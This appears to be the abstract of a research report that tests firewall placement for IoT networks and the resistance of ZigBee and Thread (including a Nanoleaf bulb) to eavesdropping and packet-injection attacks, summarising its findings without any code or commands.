Popularity for consumer IoT products has risen, and today IoT products have become a more integrated part of home's environment and functionality. With the rise in popularity for IoT products there has also been an interest in new light-weight protocols for IoT and OT devices. While ZigBee is a well-established protocol in the field, it has been researched countless times and several security issues have been acknowledged. Thread is a newer protocol and is in direct competition with ZigBee and was released in 2015. Thread has native IPv6 support and does not require a dedicated hub to communicate with existing IP based networks. ZigBee and Thread are based on layer 1 and 2 of the IEEE 802.15.4 standard. This report aimed to evaluate the possibility to implement a traditional firewall to protect IoT networks on the IP based network. Furthering to evaluate the security of ZigBee and Thread protocols against eavesdropping attacks and if it was possible to craft and transmit a malicious packet from a rogue device not part of the established ZigBee or Thread network. Results show that the most proficient method for implementing a firewall is with transparent mode, operating on the layer 2 of the OSI-model, since the products used in this testbed utilises layer 2 protocol for discovery and pairing and was successful in traversing over layer 3 boundaries. By eavesdropping on the ZigBee network during the pairing process of devices it was possible to compromise the network key and view all further communication in clear text. Information gathered was used to craft a custom-made packet for disruption of ZigBee operation. However, this attack was not successful with the nRF52840 series used in the testbed. Eavesdropping was not successful in compromising any valuable information from the Thread network. Drawback of using consumer products is being locked to the designed pairing process of IoT products. Pairing of the Nanoleaf lightbulb required initial pairing over Bluetooth and later shifting to a Thread network. If a pre-shared network key is utilised and shared over Bluetooth was not assessed. However, the Nanoleaf application presents PAN ID and the network key in plain text, this is considered a severe security vulnerability. The network key could be used to decrypt 6LoWPAN And CoAP packets. Thread packets were not successful in being decrypted. Due to the full Thread stack not being decrypted, the traffic information could not be compromised and used to create a custom-made packet.